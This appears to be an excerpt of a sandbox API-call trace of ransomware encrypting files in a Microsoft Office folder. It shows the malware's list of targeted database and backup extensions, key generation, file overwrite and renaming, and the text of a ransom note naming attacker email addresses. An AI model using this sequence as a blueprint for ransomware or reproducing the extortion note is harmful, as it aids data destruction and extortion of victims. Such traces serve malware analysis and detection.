	[0080.899] lstrlenW (lpString=".eql") returned 4
	[0080.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".eql") returned 0x0
	[0080.899] lstrlenW (lpString=".DBF") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DBF") returned 0x0
	[0080.900] lstrlenW (lpString=".EQL") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".EQL") returned 0x0
	[0080.900] lstrlenW (lpString=".FDB") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".FDB") returned 0x0
	[0080.900] lstrlenW (lpString=".EDB") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".EDB") returned 0x0
	[0080.900] lstrlenW (lpString=".DACPAC") returned 7
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DACPAC") returned 0x0
	[0080.900] lstrlenW (lpString=".VHD") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".VHD") returned 0x0
	[0080.900] lstrlenW (lpString=".DBV") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DBV") returned 0x0
	[0080.900] lstrlenW (lpString=".dacpac") returned 7
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dacpac") returned 0x0
	[0080.900] lstrlenW (lpString=".sdf") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".sdf") returned 0x0
	[0080.900] lstrlenW (lpString=".accdb") returned 6
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".accdb") returned 0x0
	[0080.900] lstrlenW (lpString=".DBX") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DBX") returned 0x0
	[0080.900] lstrlenW (lpString=".MDT") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".MDT") returned 0x0
	[0080.900] lstrlenW (lpString=".SQB") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".SQB") returned 0x0
	[0080.900] lstrlenW (lpString=".vhd") returned 4
	[0080.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".vhd") returned 0x0
	[0080.901] lstrlenW (lpString=".bac") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".bac") returned 0x0
	[0080.901] lstrlenW (lpString=".mdf") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".mdf") returned 0x0
	[0080.901] lstrlenW (lpString=".BAK") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".BAK") returned 0x0
	[0080.901] lstrlenW (lpString=".BAC") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".BAC") returned 0x0
	[0080.901] lstrlenW (lpString=".dbs") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dbs") returned 0x0
	[0080.901] lstrlenW (lpString=".vhdx") returned 5
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".vhdx") returned 0x0
	[0080.901] lstrlenW (lpString=".NDF") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".NDF") returned 0x0
	[0080.901] lstrlenW (lpString=".dat") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dat") returned 0x0
	[0080.901] lstrlenW (lpString=".DBS") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DBS") returned 0x0
	[0080.901] lstrlenW (lpString=".CKP") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".CKP") returned 0x0
	[0080.901] lstrlenW (lpString=".edb") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".edb") returned 0x0
	[0080.901] lstrlenW (lpString=".PST") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".PST") returned 0x0
	[0080.901] lstrlenW (lpString=".dbf") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dbf") returned 0x0
	[0080.901] lstrlenW (lpString=".SQL") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".SQL") returned 0x0
	[0080.901] lstrlenW (lpString=".pst") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".pst") returned 0x0
	[0080.901] lstrlenW (lpString=".dbv") returned 4
	[0080.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dbv") returned 0x0
	[0080.902] lstrlenW (lpString=".SDF") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".SDF") returned 0x0
	[0080.902] lstrlenW (lpString=".dtxs") returned 5
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dtxs") returned 0x0
	[0080.902] lstrlenW (lpString=".db3") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".db3") returned 0x0
	[0080.902] lstrlenW (lpString=".OST") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".OST") returned 0x0
	[0080.902] lstrlenW (lpString=".dbx") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dbx") returned 0x0
	[0080.902] lstrlenW (lpString=".DB3") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DB3") returned 0x0
	[0080.902] lstrlenW (lpString=".DAT") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DAT") returned 0x0
	[0080.902] lstrlenW (lpString=".VHDX") returned 5
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".VHDX") returned 0x0
	[0080.902] lstrlenW (lpString=".ndf") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".ndf") returned 0x0
	[0080.902] lstrlenW (lpString=".DB") returned 3
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DB") returned 0x0
	[0080.902] lstrlenW (lpString=".sql") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".sql") returned 0x0
	[0080.902] lstrlenW (lpString=".MYD") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".MYD") returned 0x0
	[0080.902] lstrlenW (lpString=".DBT") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DBT") returned 0x0
	[0080.902] lstrlenW (lpString=".ACCDB") returned 6
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".ACCDB") returned 0x0
	[0080.902] lstrlenW (lpString=".fdb") returned 4
	[0080.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".fdb") returned 0x0
	[0080.902] lstrlenW (lpString=".bak") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".bak") returned 0x0
	[0080.903] lstrlenW (lpString=".myd") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".myd") returned 0x0
	[0080.903] lstrlenW (lpString=".DTXS") returned 5
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".DTXS") returned 0x0
	[0080.903] lstrlenW (lpString=".ckp") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".ckp") returned 0x0
	[0080.903] lstrlenW (lpString=".dbt") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".dbt") returned 0x0
	[0080.903] lstrlenW (lpString=".db") returned 3
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".db") returned 0x0
	[0080.903] lstrlenW (lpString=".TXT") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".TXT") returned 0x0
	[0080.903] lstrlenW (lpString=".MDF") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".MDF") returned 0x0
	[0080.903] lstrlenW (lpString=".bdb") returned 4
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".bdb") returned 0x0
	[0080.903] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.903] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394860) returned 1
	[0080.904] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.904] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0080.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.904] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20089443466) returned 1
	[0080.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a12b7b0, dwHighDateTime=0x1d60e1e)) 
	[0080.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa820
	[0080.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa820 | out: hHeap=0x300000) returned 1
	[0080.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.905] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.905] GetLastError () returned 0x0
	[0080.905] GetLastError () returned 0x0
	[0080.905] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.905] GetLastError () returned 0x0
	[0080.905] GetLastError () returned 0x0
	[0080.906] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0080.910] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.910] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0080.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.911] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.911] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.911] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.911] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.911] CloseHandle (hObject=0x134) returned 1
	[0080.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.911] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.~~~~")) returned 1
	[0080.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ece0 | out: hHeap=0x300000) returned 1
	[0080.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.926] GetLastError () returned 0x0
	[0080.926] RtlWakeConditionVariable () returned 0x365f70
	[0080.926] GetCurrentThreadId () returned 0x9cc
	[0080.926] GetCurrentThreadId () returned 0x9cc
	[0080.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff9e0 | out: hHeap=0x300000) returned 1
	[0080.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7e8 | out: hHeap=0x300000) returned 1
	[0080.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff9e0
	[0080.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.928] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.928] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.929] CloseHandle (hObject=0x134) returned 1
	[0080.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff9e0 | out: hHeap=0x300000) returned 1
	[0080.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0080.929] RtlWakeConditionVariable () returned 0x365f70
	[0080.929] GetCurrentThreadId () returned 0x9cc
	[0080.929] GetCurrentThreadId () returned 0x9cc
	[0080.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3cd7f8
	[0080.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7e8 | out: hHeap=0x300000) returned 1
	[0080.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa858 | out: hHeap=0x300000) returned 1
	[0080.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.929] lstrlenW (lpString=".scr") returned 4
	[0080.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".scr") returned 0x0
	[0080.929] lstrlenW (lpString=".cmd") returned 4
	[0080.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.929] lstrlenW (lpString=".dll") returned 4
	[0080.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".dll") returned 0x0
	[0080.929] lstrlenW (lpString=".bat") returned 4
	[0080.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".bat") returned 0x0
	[0080.930] lstrlenW (lpString=".cpl") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.930] lstrlenW (lpString=".sys") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".sys") returned 0x0
	[0080.930] lstrlenW (lpString=".msc") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".msc") returned 0x0
	[0080.930] lstrlenW (lpString=".com") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".com") returned 0x0
	[0080.930] lstrlenW (lpString=".lnk") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.930] lstrlenW (lpString=".msp") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".msp") returned 0x0
	[0080.930] lstrlenW (lpString=".pif") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".pif") returned 0x0
	[0080.930] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.930] lstrlenW (lpString=".sqb") returned 4
	[0080.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.931] lstrlenW (lpString=".ost") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".ost") returned 0x0
	[0080.931] lstrlenW (lpString=".txt") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".txt") returned 0x0
	[0080.931] lstrlenW (lpString=".mdt") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.931] lstrlenW (lpString=".BDB") returned 4
	[0080.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.931] lstrlenW (lpString=".eql") returned 4
